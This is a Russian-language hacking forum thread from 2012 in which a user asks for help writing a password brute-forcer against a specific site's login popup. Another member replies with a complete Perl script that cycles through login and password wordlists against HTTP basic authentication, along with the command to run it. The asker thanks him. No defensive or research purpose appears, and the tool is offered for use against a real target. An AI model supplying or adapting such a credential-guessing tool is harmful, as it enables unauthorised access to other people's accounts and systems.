Брутфорс

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Kr@zer, 10 Feb 2012.

  1. Kr@zer

    Kr@zer New Member

    Joined:
    8 Sep 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Хочу написать брутфорс для одного сайта ,подскажите как работоать с всплывающим окном входа, само окно находится по адресу: xxxxx.ru/#
     
  2. Kr@zer

    Kr@zer New Member

    Joined:
    8 Sep 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Забыл сказать пишу на Delphi
     
  3. fuckyoupig

    fuckyoupig Member

    Joined:
    1 Mar 2011
    Messages:
    0
    Likes Received:
    11
    Reputations:
    2
    Судя по вопросу вы не сможете написать брут.
     
  4. Kr@zer

    Kr@zer New Member

    Joined:
    8 Sep 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Да уж

    Судя по ответу вы тоже.....
     
  5. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    2
    Likes Received:
    53
    Reputations:
    1
    Согласен

    Намек:
    Богомерзкие плагины а-ля HttpFox теперь не в моде?
     
  6. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    91
    Likes Received:
    63
    Reputations:
    19
    Держи поддержку прокси сам прикрутишь. Лень
    Code:
    #!/usr/bin/perl
    #basic auth brute 
    #totenkopf
    
    use LWP;
    use vars '@ISA';
    @ISA = 'LWP::UserAgent';
    
    my $url = $ARGV[0];
    my $ln = $ARGV[1];
    my $pn = $ARGV[2];
    
    -s $ln || die "error login file\n";
    -s $pn || die "error password file\n";
    
    open(LH,$ln);
    open(PH,$pn);
    
    my $login = "";
    my $pass = "";
    
    
    my $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7";
    
    my $ua = __PACKAGE__->new;
    
    $ua->agent($agent);
    
    while($login=<LH>){
    	chomp($login);
    	while($pass=<PH>){
    		chomp($pass);
    		my $request = HTTP::Request->new(GET=>$url);
    		my $response = $ua->request($request);
    		if($response->is_success)	
    		{
    		print "[+] $login:$pass\n";
    		exit;
    		}
    }
    seek(PH,0,0)
    }
    print "[-] Not Found\n";
    
    sub get_basic_credentials {
    return ($login,$pass);
    }
    
    Запускать: perl http://site/admin/ [файл с логинами] [файл с паролями]
    И бросайте вы уже Делфи. Ведь более важен результат не так ли?
     
    #6 totenkopf, 11 Feb 2012
    Last edited: 11 Feb 2012
  7. Kr@zer

    Kr@zer New Member

    Joined:
    8 Sep 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Спасибо ,всё пригодится